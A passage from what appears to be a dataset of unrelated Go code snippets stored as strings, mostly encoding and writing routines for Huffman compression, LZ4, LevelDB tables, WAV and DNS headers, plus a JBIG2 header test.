(%d, %d)\", len(leafData), subWriteStart, subWriteEnd)\n\t\tnewLeafData := leafData[:subWriteStart]\n\t\tnewLeafData = append(newLeafData, data[:subWriteEnd-subWriteStart]...)\n\t\tnewLeafData = append(newLeafData, leafData[int(math.Min(float64(subWriteEnd), float64(len(leafData)))):]...)\n\t\tdata = data[subWriteEnd-subWriteStart:]\n\n\t\terr = s.nodeWrite(leaf, newLeafData)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"fs.nodeWrite returned error: %s\", err.Error())\n\t\t}\n\t\tbytesWritten += subWriteEnd - subWriteStart\n\t}\n\n\treturn bytesWritten, nil\n}", "func compressPrefixTree(root *huffmanTreeNode, to *vector.Vector) {\n\tswitch isLeafNode(root) {\n\tcase true:\n\t\tto.Append(byte(1))\n\t\tto.Append(root.value)\n\tcase false:\n\t\tto.Append(byte(0))\n\t\tcompressPrefixTree(root.left, to)\n\t\tcompressPrefixTree(root.right, to)\n\t}\n}", "func (e *Encoder) Close() error {\n\tif e == nil || e.w == nil {\n\t\treturn nil\n\t}\n\n\t// inject metadata at the end to not trip implementation not supporting\n\t// metadata chunks\n\tif e.Metadata != nil {\n\t\tif err := e.writeMetadata(); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to write metadata - %v\", err)\n\t\t}\n\t}\n\n\t// go back and write total size in header\n\tif _, err := e.w.Seek(4, 0); err != nil {\n\t\treturn err\n\t}\n\tif err := e.AddLE(uint32(e.WrittenBytes) - 8); err != nil {\n\t\treturn fmt.Errorf(\"%v when writing the total written bytes\", err)\n\t}\n\n\t// rewrite the audio chunk length header\n\tif e.pcmChunkSizePos > 0 {\n\t\tif _, err := e.w.Seek(int64(e.pcmChunkSizePos), 0); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tchunksize := uint32((int(e.BitDepth) / 8) * int(e.NumChans) * e.frames)\n\t\tif err := e.AddLE(uint32(chunksize)); err != nil {\n\t\t\treturn fmt.Errorf(\"%v when writing wav data chunk size header\", err)\n\t\t}\n\t}\n\n\t// jump back to the end of the file.\n\tif _, err := e.w.Seek(0, 2); err != nil {\n\t\treturn err\n\t}\n\tswitch e.w.(type) {\n\tcase *os.File:\n\t\treturn e.w.(*os.File).Sync()\n\t}\n\treturn nil\n}", "func (f Frame) Encode(w io.Writer, timestamp time.Time, compress bool) error {\n\tf.CorrectTimestamps(timestamp)\n\tf.Length = f.correctLength()\n\tf.Count = uint16(len(f.Blocks))\n\tf.Reserved1 = 1\n\n\tvar compressedBlockData []byte\n\tif compress {\n\t\tvar err error\n\t\tcompressedBlockData, err = f.compressBlocks()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tf.Compression = 1\n\t\tf.Length = uint32(40 + len(compressedBlockData))\n\t} else {\n\t\tf.Compression = 0\n\t}\n\n\tbuf := make([]byte, 40)\n\tcopy(buf[0:16], f.Preamble[:])\n\ttime := uint64(f.Time.UnixNano() / 1000000)\n\tbinary.LittleEndian.PutUint64(buf[16:24], time)\n\tbinary.LittleEndian.PutUint32(buf[24:28], f.Length)\n\tbinary.LittleEndian.PutUint16(buf[28:30], f.ConnectionType)\n\tbinary.LittleEndian.PutUint16(buf[30:32], f.Count)\n\tbuf[32] = f.Reserved1\n\tbuf[33] = f.Compression\n\tbinary.LittleEndian.PutUint16(buf[34:36], f.Reserved2)\n\tbinary.LittleEndian.PutUint32(buf[36:40], f.DecompressedLength)\n\n\t_, err := w.Write(buf)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif compress {\n\t\t_, err := w.Write(compressedBlockData)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tfor _, b := range f.Blocks {\n\t\t\terr := b.Encode(w)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t}\n\treturn nil\n}", "func Encode(out *bytes.Buffer, byts []byte) (*EncodeInfo, error) {\n\tt := createTree(byts)\n\tconst codeSize = 32 // not optimize\n\tc := code{\n\t\tbits: make([]bool, 0, codeSize),\n\t}\n\te := newEncoder()\n\tif err := e.encode(t, c); err != nil {\n\t\treturn nil, err\n\t}\n\tsb, err := e.write(out, byts)\n\tei := &EncodeInfo{\n\t\tbytCodeMap: e.bytCodeMap,\n\t\tSize: sb,\n\t}\n\treturn ei, err\n}", "func (z *Writer) writeHeader() error {\n\t// Default to 4Mb if BlockMaxSize is not set.\n\tif z.Header.BlockMaxSize == 0 {\n\t\tz.Header.BlockMaxSize = blockSize4M\n\t}\n\t// The only option that needs to be validated.\n\tbSize := z.Header.BlockMaxSize\n\tif !isValidBlockSize(z.Header.BlockMaxSize) {\n\t\treturn fmt.Errorf(\"lz4: invalid block max size: %d\", bSize)\n\t}\n\t// Allocate the compressed/uncompressed buffers.\n\t// The compressed buffer cannot exceed the uncompressed one.\n\tz.newBuffers()\n\tz.idx = 0\n\n\t// Size is optional.\n\tbuf := z.buf[:]\n\n\t// Set the fixed size data: magic number, block max size and flags.\n\tbinary.LittleEndian.PutUint32(buf[0:], frameMagic)\n\tflg := byte(Version << 6)\n\tflg |= 1 << 5 // No block dependency.\n\tif z.Header.BlockChecksum {\n\t\tflg |= 1 << 4\n\t}\n\tif z.Header.Size > 0 {\n\t\tflg |= 1 << 3\n\t}\n\tif !z.Header.NoChecksum {\n\t\tflg |= 1 << 2\n\t}\n\tbuf[4] = flg\n\tbuf[5] = blockSizeValueToIndex(z.Header.BlockMaxSize) << 4\n\n\t// Current buffer size: magic(4) + flags(1) + block max size (1).\n\tn := 6\n\t// Optional items.\n\tif z.Header.Size > 0 {\n\t\tbinary.LittleEndian.PutUint64(buf[n:], z.Header.Size)\n\t\tn += 8\n\t}\n\n\t// The header checksum includes the flags, block max size and optional Size.\n\tbuf[n] = byte(xxh32.ChecksumZero(buf[4:n]) >> 8 & 0xFF)\n\tz.checksum.Reset()\n\n\t// Header ready, write it out.\n\tif _, err := z.dst.Write(buf[0 : n+1]); err != nil {\n\t\treturn err\n\t}\n\tz.Header.done = true\n\tif debugFlag {\n\t\tdebug(\"wrote header %v\", z.Header)\n\t}\n\n\treturn nil\n}", "func makeHuffman(p priq.PriQ) *node {\n\trr, ok := p.Remove()\n\tif !ok {\n\t\tpanic(\"not enough elements in the priority queue to make a huffman tree\")\n\t}\t\n\tr := rr.(*node)\n\tll, ok := p.Remove()\n\tif !ok {\n\t\tpanic(\"not enough elements in the priority queue to make a huffman tree\")\n\t}\n\tl := ll.(*node)\t\n\tfor !p.Empty() {\n\t\tparent := new(node)\n\t\tparent.count = l.count + r.count\n\t\tparent.left = l\n\t\tparent.right = r\n\t\tp.Add(parent)\n\n\t\trr, ok = p.Remove()\n\t\tr = rr.(*node)\n\t\tll, ok = p.Remove()\n\t\tl = ll.(*node)\n\t}\n\troot := new(node)\n\troot.count = l.count + r.count\n\troot.left = l\n\troot.right = r\n\treturn root\n}", "func Compress(uncompressed *vector.Vector) *vector.Vector {\n\tbyteFrequencies := createFrequencyTable(uncompressed)\n\tprefixTree := buildPrefixTree(byteFrequencies)\n\n\tcodes := dictionary.New()\n\tbuildCodes(prefixTree, vector.New(), codes)\n\n\tcompressedPrefixTree := vector.New()\n\tcompressPrefixTree(prefixTree, compressedPrefixTree)\n\n\tencodedBytes := encodeToHuffmanCodes(uncompressed, codes)\n\n\tcompressedCodes, lastByteInBits := compressHuffmanCodes(encodedBytes)\n\n\t// Reserve space for the last byte size, prefix tree and huffman codes\n\tcompressed := vector.New(0, 1+uint(compressedPrefixTree.Size()+compressedCodes.Size()))\n\tcompressed.Append(byte(lastByteInBits))\n\n\tfor i := 0; i < compressedPrefixTree.Size(); i++ {\n\t\tcompressed.Append(compressedPrefixTree.MustGet(i))\n\t}\n\n\tfor i := 0; i < compressedCodes.Size(); i++ {\n\t\tcompressed.Append(compressedCodes.MustGet(i))\n\t}\n\n\treturn compressed\n}", "func encodeTree(hmt *Tree, finalTree *string) {\n\tif hmt == nil {\n\t\treturn\n\t}\n\t\n\tif hmt.LeftNode == nil && hmt.RightNode == nil{\n\t\t*finalTree += \"1\" + string(hmt.Char)\n\t} else {\n\t\t*finalTree += \"0\"\n\t}\n\tencodeTree(hmt.LeftNode, finalTree)\n\tencodeTree(hmt.RightNode, finalTree) \n}", "func (e EmptyNode) EncodeBinary(*io.BinWriter) {\n}", "func (w *Writer) Close() (err error) {\n\tdefer func() {\n\t\tif w.closer == nil {\n\t\t\treturn\n\t\t}\n\t\terr1 := w.closer.Close()\n\t\tif err == nil {\n\t\t\terr = err1\n\t\t}\n\t\tw.closer = nil\n\t}()\n\tif w.err != nil {\n\t\treturn w.err\n\t}\n\n\t// Finish the last data block, or force an empty data block if there\n\t// aren't any data blocks at all.\n\tif w.nEntries > 0 || len(w.indexEntries) == 0 {\n\t\tbh, err := w.finishBlock()\n\t\tif err != nil {\n\t\t\tw.err = err\n\t\t\treturn w.err\n\t\t}\n\t\tw.pendingBH = bh\n\t\tw.flushPendingBH(nil)\n\t}\n\n\t// Write the (empty) metaindex block.\n\tmetaindexBlockHandle, err := w.finishBlock()\n\tif err != nil {\n\t\tw.err = err\n\t\treturn w.err\n\t}\n\n\t// Write the index block.\n\t// writer.append uses w.tmp[:3*binary.MaxVarintLen64].\n\ti0, tmp := 0, w.tmp[3*binary.MaxVarintLen64:5*binary.MaxVarintLen64]\n\tfor _, ie := range w.indexEntries {\n\t\tn := encodeBlockHandle(tmp, ie.bh)\n\t\ti1 := i0 + ie.keyLen\n\t\tw.append(w.indexKeys[i0:i1], tmp[:n], true)\n\t\ti0 = i1\n\t}\n\tindexBlockHandle, err := w.finishBlock()\n\tif err != nil {\n\t\tw.err = err\n\t\treturn w.err\n\t}\n\n\t// Write the table footer.\n\tfooter := w.tmp[:footerLen]\n\tfor i := range footer {\n\t\tfooter[i] = 0\n\t}\n\tn := encodeBlockHandle(footer, metaindexBlockHandle)\n\tencodeBlockHandle(footer[n:], indexBlockHandle)\n\tcopy(footer[footerLen-len(magic):], magic)\n\tif _, err := w.writer.Write(footer); err != nil {\n\t\tw.err = err\n\t\treturn w.err\n\t}\n\n\t// Flush the buffer.\n\tif w.bufWriter != nil {\n\t\tif err := w.bufWriter.Flush(); err != nil {\n\t\t\tw.err = err\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Make any future calls to Set or Close return an error.\n\tw.err = errors.New(\"leveldb/table: writer is closed\")\n\treturn nil\n}", "func (v *V1Decoder) WriteTo(w io.Writer) (int64, error) {\n\tvar uint64Size uint64\n\tinc := int64(unsafe.Sizeof(uint64Size))\n\n\t// Read all the data into RAM, since we have to decode known-length\n\t// chunks of various forms.\n\tvar offset int64\n\tb, err := ioutil.ReadAll(v.r)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"readall: %s\", err)\n\t}\n\n\t// Get size of data, checking for compression.\n\tcompressed := false\n\tsz, err := readUint64(b[offset : offset+inc])\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"read compression check: %s\", err)\n\t}\n\toffset = offset + inc\n\n\tif sz == math.MaxUint64 {\n\t\tcompressed = true\n\t\t// Data is actually compressed, read actual size next.\n\t\tsz, err = readUint64(b[offset : offset+inc])\n\t\tif err != nil {\n\t\t\treturn 0, fmt.Errorf(\"read compressed size: %s\", err)\n\t\t}\n\t\toffset = offset + inc\n\t}\n\n\t// Now read in the data, decompressing if necessary.\n\tvar totalN int64\n\tif sz > 0 {\n\t\tif compressed {\n\t\t\tgz, err := gzip.NewReader(bytes.NewReader(b[offset : offset+int64(sz)]))\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\n\t\t\tn, err := io.Copy(w, gz)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, fmt.Errorf(\"data decompress: %s\", err)\n\t\t\t}\n\t\t\ttotalN += n\n\n\t\t\tif err := gz.Close(); err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t} else {\n\t\t\t// write the data directly\n\t\t\tn, err := w.Write(b[offset : offset+int64(sz)])\n\t\t\tif err != nil {\n\t\t\t\treturn 0, fmt.Errorf(\"uncompressed data write: %s\", err)\n\t\t\t}\n\t\t\ttotalN += int64(n)\n\t\t}\n\t}\n\treturn totalN, nil\n}", "func (j *JPEG) decodeHuffman(r io.Reader, h *huffman) (uint8, error) {\n\tif h.nCodes == 0 {\n\t\treturn 0, fmt.Errorf(\"uninitialized Huffman table\")\n\t}\n\n\t/*if d.bits.n < 8 {\n\t if err := d.ensureNBits(8); err != nil {\n\t if err != errMissingFF00 && err != errShortHuffmanData {\n\t return 0, err\n\t }\n\t // There are no more bytes of data in this segment, but we may still\n\t // be able to read the next symbol out of the previously read bits.\n\t // First, undo the readByte that the ensureNBits call made.\n\t if d.bytes.nUnreadable != 0 {\n\t d.unreadByteStuffedByte()\n\t }\n\t goto slowPath\n\t }\n\t }\n\t if v := h.lut[(d.bits.a>>uint32(d.bits.n-lutSize))&0xff]; v != 0 {\n\t n := (v & 0xff) - 1\n\t d.bits.n -= int32(n)\n\t d.bits.m >>= n\n\t return uint8(v >> 8), nil\n\t }*/\n\n\t//slowPath:\n\tfor i, code := 0, int32(0); i < maxCodeLength; i++ {\n\t\tif j.bits.n == 0 {\n\t\t\tif err := j.ensureNBits(r, 1); err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t}\n\t\tif j.bits.a&j.bits.m != 0 {\n\t\t\tcode |= 1\n\t\t}\n\t\tj.bits.n--\n\t\tj.bits.m >>= 1\n\t\tif code <= h.maxCodes[i] {\n\t\t\treturn h.vals[h.valsIndices[i]+code-h.minCodes[i]], nil\n\t\t}\n\t\tcode <<= 1\n\t}\n\treturn 0, fmt.Errorf(\"bad Huffman code\")\n}", "func (d *decoder) decodeHeader() {\n\t// first byte is the number of leaf nodes\n\td.numChars = uint8(readByte(d.r))\n\n\t// read in the total number of characters in the encoded data\n\tbuf := make([]byte, 2)\n\tbuf[0] = readByte(d.r)\n\tbuf[1] = readByte(d.r)\n\n\td.numCharsEncoded = binary.LittleEndian.Uint16(buf)\n\n\t// deserialize the tree\n\td.root = d.createTree()\n}", "func buildPrefixTree(byteFrequencies *dictionary.Dictionary) *huffmanTreeNode {\n\ttree := new(priorityqueue.PriorityQueue)\n\tkeys := byteFrequencies.Keys()\n\n\tfor i := 0; i < keys.Size(); i++ {\n\t\tbyt := keys.MustGet(i)\n\t\tfrequency, _ := byteFrequencies.Get(byt)\n\n\t\ttree.Enqueue(frequency.(int), &huffmanTreeNode{frequency: frequency.(int), value: byt.(byte)})\n\t}\n\n\tfor tree.Size() > 1 {\n\t\taPrio, a := tree.Dequeue()\n\t\tbPrio, b := tree.Dequeue()\n\n\t\tnewPrio := aPrio + bPrio\n\n\t\tnode := &huffmanTreeNode{frequency: newPrio, left: a.(*huffmanTreeNode), right: b.(*huffmanTreeNode)}\n\n\t\ttree.Enqueue(newPrio, node)\n\t}\n\n\t_, root := tree.Dequeue()\n\n\treturn root.(*huffmanTreeNode)\n}", "func Decompress(file *os.File, outputName string) {\n\t// Ler Árvore (Reconstruir)\n\treader := bit.NewReader(file)\n\troot := readTree(reader)\n\tif root == nil {\n\t\tpanic(\"Árvore nula!\")\n\t}\n\t// Decodificar percorrendo a arvore\n\tif root.IsLeaf() {\n\t\tnodeHelper := tree.New(\"\", nil, nil)\n\t\tnodeHelper.Left = root\n\t\troot = nodeHelper\n\t}\n\tdecodeFile(reader, outputName, root)\n}", "func Decompress(header *common.Header, filename string, output string) error {\r\n\r\n\tf, err := os.Open(filename)\r\n\tdefer f.Close()\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\r\n\tinitOpenedZipFiles()\r\n\tdefer closeOpenedZipFiles()\r\n\r\n\tfoldersNum := len(header.Folders)\r\n\treadedFolders := 0\r\n\r\n\tfor _, folder := range header.Folders {\r\n\t\tif (folder.Flags == common.FData || folder.Flags == common.FFolder) && folder.Data == uint32(0xFFFFFFFF) {\r\n\t\t\treadedFolders++\r\n\t\t\tui.Current().Unpack(readedFolders, foldersNum)\r\n\t\t\terr = writeFile(output, header, &folder, nil)\r\n\t\t\tif err != nil {\r\n\t\t\t\treturn err\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tneedToRead := int64(header.Size)\r\n\treaded := int64(0)\r\n\r\n\tvar b bytes.Buffer\r\n\r\n\tr := lzma.NewReader(f)\r\n\r\n\tfor _, dataRecord := range header.Data {\r\n\t\tb.Reset()\r\n\t\tn, err := io.CopyN(&b, r, int64(dataRecord.Size))\r\n\t\tif err != nil {\r\n\t\t\treturn err\r\n\t\t}\r\n\t\treaded += n\r\n\r\n\t\tfor _, folder := range header.Folders {\r\n\t\t\tif folder.Flags == common.FData && folder.Data == uint32(dataRecord.Offset) {\r\n\t\t\t\treadedFolders++\r\n\t\t\t\terr = writeFile(output, header, &folder, b.Bytes())\r\n\t\t\t\tui.Current().Unpack(readedFolders, foldersNum)\r\n\t\t\t\tif err != nil {\r\n\t\t\t\t\treturn err\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t}\r\n\t_ = r.Close()\r\n\tb.Reset()\r\n\r\n\truntime.GC()\r\n\tif readed != needToRead {\r\n\t\treturn fmt.Errorf(\"Readed: %d, Expected: %d\", readed, needToRead)\r\n\t}\r\n\r\n\treturn nil\r\n}", "func (f *Format) Write(w io.Writer) error {\n\tbuf := make([]byte, fmtStartChunkSize+8, f.chunkSize())\n\tbuf[0] = 'f'\n\tbuf[1] = 'm'\n\tbuf[2] = 't'\n\tbuf[3] = ' '\n\tfreq := uint32(f.freq / freq.Hertz)\n\ttag := _TAG_PCM\n\tif f.Codec.IsFloat() {\n\t\tbuf = buf[:f.chunkSize()]\n\t\ttag = _TAG_FLOAT32\n\t}\n\tbinary.LittleEndian.PutUint32(buf[4:8], uint32(f.chunkSize()-8))\n\tbinary.LittleEndian.PutUint16(buf[8:10], uint16(tag))\n\tbinary.LittleEndian.PutUint16(buf[10:12], uint16(f.channels))\n\tbinary.LittleEndian.PutUint32(buf[12:16], freq)\n\tbpspc := f.Bytes()\n\tbinary.LittleEndian.PutUint32(buf[16:20], freq*uint32(f.channels)*uint32(bpspc))\n\tbinary.LittleEndian.PutUint16(buf[20:22], uint16(f.channels)*uint16(bpspc))\n\tbinary.LittleEndian.PutUint16(buf[22:24], uint16(f.Bits()))\n\tif tag == _TAG_FLOAT32 {\n\t\tbinary.LittleEndian.PutUint16(buf[24:26], uint16(0))\n\t}\n\tn, e := w.Write(buf)\n\tif e != nil {\n\t\treturn e\n\t}\n\tif n != len(buf) {\n\t\treturn fmt.Errorf(\"couldn't write all of hdr %d/%d bytes\", n, len(buf))\n\t}\n\treturn nil\n}", "func (header *Header) Write(buffer *BytePacketBuffer) error {\n\tif err := buffer.writeU16(header.id); err != nil {\n\t\treturn err\n\t}\n\n\tlowFlags := byteFlag(header.recursionDesired, 0) |\n\t\tbyteFlag(header.truncatedMessage, 1) |\n\t\tbyteFlag(header.authoritativeAnswer, 2) |\n\t\t(byte(header.opcode) << 3) |\n\t\tbyteFlag(header.response, 7)\n\tif err := buffer.write(lowFlags); err != nil {\n\t\treturn err\n\t}\n\n\thighFlags := byte(header.rescode) |\n\t\tbyteFlag(header.checkingDisabled, 4) |\n\t\tbyteFlag(header.authedData, 5) |\n\t\tbyteFlag(header.z, 6) |\n\t\tbyteFlag(header.recursionAvailable, 7)\n\tif err := buffer.write(highFlags); err != nil {\n\t\treturn err\n\t}\n\n\tif err := buffer.writeU16(header.questions); err != nil {\n\t\treturn err\n\t}\n\n\tif err := buffer.writeU16(header.answers); err != nil {\n\t\treturn err\n\t}\n\n\tif err := buffer.writeU16(header.authoritativeEntires); err != nil {\n\t\treturn err\n\t}\n\n\tif err := buffer.writeU16(header.resourceEntries); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func Encode(node ipld.Node, w io.Writer) error {\n\t// 1KiB can be allocated on the stack, and covers most small nodes\n\t// without having to grow the buffer and cause allocations.\n\tenc := make([]byte, 0, 1024)\n\n\tenc, err := AppendEncode(enc, node)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = w.Write(enc)\n\treturn err\n}", "func (cw compressingWriter) Write(b []byte) (int, error) {\n\tif cw.ResponseWriter.Header().Get(\"Content-Type\") == \"\" {\n\t\tcw.ResponseWriter.Header().Set(\"Content-Type\", http.DetectContentType(b))\n\t\tcw.ResponseWriter.Header().Del(\"Content-Length\")\n\t}\n\treturn cw.WriteCloser.Write(b)\n}", "func (z *Corrupter) Write(p []byte) (n int, err error) {\n\tx := xml.NewDecoder(bytes.NewReader(p))\n\t_, err = x.Token()\n\tif err == nil {\n\t\terr = x.Skip()\n\t}\n\tif err == nil {\n\t\treturn 0, errors.New(\"zalgo: cannot consume XML\")\n\t}\n\n\th := html.NewTokenizer(bytes.NewReader(p))\n\tvar f bool\nL:\n\tfor {\n\t\tt := h.Next()\n\t\tswitch t {\n\t\tcase html.ErrorToken:\n\t\t\tif h.Err() == io.EOF {\n\t\t\t\tbreak L\n\t\t\t}\n\t\tcase html.StartTagToken, html.EndTagToken, html.SelfClosingTagToken, html.DoctypeToken:\n\t\t\tf = true\n\t\t}\n\t}\n\tif f {\n\t\treturn 0, errors.New(\"zalgo: cannot consume HTML\")\n\t}\n\n\tvar _n int\n\tn = z.n\n\tdefer func() {\n\t\tn = z.n - n\n\t}()\n\tfor _, r := range string(p) {\n\t\tif _, ok := zalgoChars[r]; ok {\n\t\t\tcontinue\n\t\t}\n\t\tz.b = z.b[:utf8.RuneLen(r)]\n\t\tutf8.EncodeRune(z.b, r)\n\t\t_n, err = z.w.Write(z.b)\n\t\tz.n += _n\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tif z.Zalgo != nil && z.Zalgo(z.n, r, z) {\n\t\t\tcontinue\n\t\t}\n\t\tfor i := real(z.Up); i > 0; i-- {\n\t\t\tif rnd.Float64() < imag(z.Up) {\n\t\t\t\t_n, err = fmt.Fprintf(z.w, \"%c\", up[rnd.Intn(len(up))])\n\t\t\t\tz.n += _n\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor i := real(z.Middle); i > 0; i-- {\n\t\t\tif rnd.Float64() < imag(z.Middle) {\n\t\t\t\t_n, err = fmt.Fprintf(z.w, \"%c\", middle[rnd.Intn(len(middle))])\n\t\t\t\tz.n += _n\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor i := real(z.Down); i > 0; i-- {\n\t\t\tif rnd.Float64() < imag(z.Down) {\n\t\t\t\t_n, err = fmt.Fprintf(z.w, \"%c\", down[rnd.Intn(len(down))])\n\t\t\t\tz.n += _n\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}", "func TestWriteHeader(t *testing.T) {\n\tt.Run(\"ReferenceSize#1\", func(t *testing.T) {\n\t\t// the header with reference size '1' have it's segment number within the range (0, 255>\n\t\t// it is referred to under 4 segments - this means that their values are represented\n\t\t// in the uint8 - byte format.\n\t\t// the associated page number may fit in a single byte - the page association flag should be false.\n\t\tinitial := &Header{\n\t\t\tPageAssociation: 1,\n\t\t\tRTSegments: []*Header{{SegmentNumber: 2}, {SegmentNumber: 3}, {SegmentNumber: 4}},\n\t\t\tSegmentDataLength: 64,\n\t\t\tSegmentNumber: 2,\n\t\t\tType: TImmediateTextRegion,\n\t\t}\n\t\tw := writer.BufferedMSB()\n\n\t\tn, err := initial.Encode(w)\n\t\trequire.NoError(t, err)\n\t\tassert.Equal(t, 14, n)\n\n\t\t// the data should look like:\n\t\t//\n\t\t// 00000000 00000000 00000000 00000010 - 0x00, 0x00, 0x00, 0x02 - segment number\n\t\t// 00000110 - 0x06 - segment flags\n\t\t// 01100000 - 0x60 - referred to count and retain flags\n\t\t// 00000010 00000011 00000100 - 0x02, 0x03, 0x04 - segment referred to numbers\n\t\t// 00000001 - 0x01 - segment page association\n\t\t// 00000000 00000000 00000000 01000000 - 0x40 - segment data length\n\t\texpected := []byte{\n\t\t\t0x00, 0x00, 0x00, 0x02,\n\t\t\t0x06,\n\t\t\t0x60,\n\t\t\t0x02, 0x03, 0x04,\n\t\t\t0x01,\n\t\t\t0x00, 0x00, 0x00, 0x40,\n\t\t}\n\t\tassert.Equal(t, expected, w.Data())\n\n\t\t// check if the encoded data is now decodable with the same results.\n\t\t// as the 'SegmentDataLength' = 64 the source data needs 64 bytes of empty data to\n\t\t// read the header properly.\n\t\tr := reader.New(append(w.Data(), make([]byte, 64)...))\n\t\td := &document{pages: []Pager{&page{segments: []*Header{{}, {}, {}, {}, {}}}, &page{}}}\n\n\t\th, err := NewHeader(d, r, 0, OSequential)\n\t\trequire.NoError(t, err)\n\n\t\tassert.Equal(t, initial.PageAssociation, h.PageAssociation)\n\t\tassert.Equal(t, initial.SegmentDataLength, h.SegmentDataLength)\n\t\tassert.Equal(t, initial.SegmentNumber, h.SegmentNumber)\n\t\tassert.Equal(t, initial.Type, h.Type)\n\t\tassert.Equal(t, initial.RTSNumbers, h.RTSNumbers)\n\t\tassert.False(t, h.PageAssociationFieldSize)\n\t})\n\n\tt.Run(\"ReferenceSize#2\", func(t *testing.T) {\n\t\t// the reference size is equal to '2' when the segment has a number at least 256\n\t\t// and at most 65535.\n\t\t// this example has also referred to symbols number greater than 4 - which\n\t\t// enforces the referred to count segment to be more than a byte long and the\n\t\t// referred to segments to be of uint16 size.\n\t\t//\n\t\tinitial := &Header{\n\t\t\tPageAssociation: 2,\n\t\t\tRTSNumbers: []int{2, 3, 4, 5, 6}, // the size > 4\n\t\t\tSegmentDataLength: 64,\n\t\t\tSegmentNumber: 257,\n\t\t\tType: TIntermediateGenericRegion, // 36\n\t\t}\n\t\tfor _, nm := range initial.RTSNumbers {\n\t\t\tinitial.RTSegments = append(initial.RTSegments, &Header{SegmentNumber: uint32(nm)})\n\t\t}\n\t\tw := writer.BufferedMSB()\n\n\t\tn, err := initial.Encode(w)\n\t\trequire.NoError(t, err)\n\n\t\t// the data should look like:\n\t\t//\n\t\t// 00000000 00000000 00000001 00000001 - 0x00, 0x00, 0x01, 0x01 - segment number\n\t\t// 00100100 - 0x24 - segment flags\n\t\t// there should be 4+ceil((len(rts) + 1) / 8) bytes = 4 + ceil((5+1)/8) = 5 bytes.\n\t\t// 11100000 00000000 00000000 00000101 00000000 - 0xE0, 0x00, 0x00, 0x05, 0x00 - number of related segments and retain flags\n\t\t// the referred to numbers should be of 16bits size each.\n\t\t// 00000000 00000010 - 0x00, 0x02\n\t\t// 00000000 00000011 - 0x00, 0x03\n\t\t// 00000000 00000100 - 0x00, 0x04\n\t\t// 00000000 00000101 - 0x00, 0x05\n\t\t// 00000000 00000110 - 0x00, 0x06 - referred to segment numbers\n\t\t// 00000010 - 0x02 - segment page association\n\t\t// 00000000 00000000 00000000 01000000 - 0x00, 0x00, 0x00, 0x40 - segment data length\n\t\t//\n\t\t// at total 25 bytes for the header.\n\t\tf := assert.Equal(t, 25, n)\n\t\texpected := []byte{\n\t\t\t0x00, 0x00, 0x01, 0x01,\n\t\t\t0x24,\n\t\t\t0xE0, 0x00, 0x00, 0x05, 0x00,\n\t\t\t0x00, 0x02, 0x00, 0x03, 0x00, 0x04, 0x00, 0x05, 0x00, 0x06,\n\t\t\t0x02,\n\t\t\t0x00, 0x00, 0x00, 0x40,\n\t\t}\n\t\ts := assert.Equal(t, expected, w.Data())\n\t\trequire.True(t, f && s)\n\n\t\t// check if the decoder would decode that header.\n\t\tr := reader.New(append(w.Data(), make([]byte, 64)...))\n\t\tp := &page{segments: make([]*Header, 7)}\n\t\td := &document{pages: []Pager{&page{}, p}}\n\n\t\th, err := NewHeader(d, r, 0, OSequential)\n\t\trequire.NoError(t, err)\n\n\t\tassert.Equal(t, initial.PageAssociation, h.PageAssociation)\n\t\tassert.Equal(t, initial.SegmentDataLength, h.SegmentDataLength)\n\t\tassert.Equal(t, initial.SegmentNumber, h.SegmentNumber)\n\t\tassert.Equal(t, initial.Type, h.Type)\n\t\tassert.Equal(t, initial.RTSNumbers, h.RTSNumbers)\n\t})\n\n\tt.Run(\"ReferenceSize#4\", func(t *testing.T) {\n\t\t// the reference size is equal to '4' when the segment has a number at least 65536.\n\t\t// this example has also referred to symbols number greater than 255 - which\n\t\t// enforces the referred to count segment to be more than a byte long and the referred to segment numbers\n\t\t// to be of uint32 size.\n\t\t//\n\t\tinitial := &Header{\n\t\t\tPageAssociation: 256,\n\t\t\tRTSegments: make([]*Header, 256), // the size > 4\n\t\t\tSegmentDataLength: 64,\n\t\t\tSegmentNumber: 65536,\n\t\t\tType: TIntermediateGenericRegion, // 36\n\t\t}\n\n\t\t// seed the referred to segment numbers.\n\t\tfor i := uint32(0); i < 256; i++ {\n\t\t\tinitial.RTSegments[i] = &Header{SegmentNumber: i + initial.SegmentNumber}\n\t\t}\n\t\tw := writer.BufferedMSB()\n\n\t\tn, err := initial.Encode(w)\n\t\trequire.NoError(t, err)\n\n\t\t// the data should look like:\n\t\t//\n\t\t// 00000000 00000001 00000000 00000000 - 0x00, 0x01, 0x00, 0x00 - segment number\n\t\t// 01100100 - 0x64 - segment flags, the page association flag is 'on'.\n\t\t// there should be 4+ceil((len(rts) + 1) / 8) bytes = 4 + ceil((256+1)/8) = 4 + 33 = 37 bytes.\n\t\t// 11100000 00000000 00000001 00000000 - 0xE0, 0x00, 0x01, 0x00 - number of related segments\n\t\t// 37 * 00000000 (0x00) - retain flags\n\t\t// the referred to numbers should be of 32bits size each.\n\t\t// 00000000 00000001 00000000 00000001 - the first referred to segment number\n\t\t// 00000000 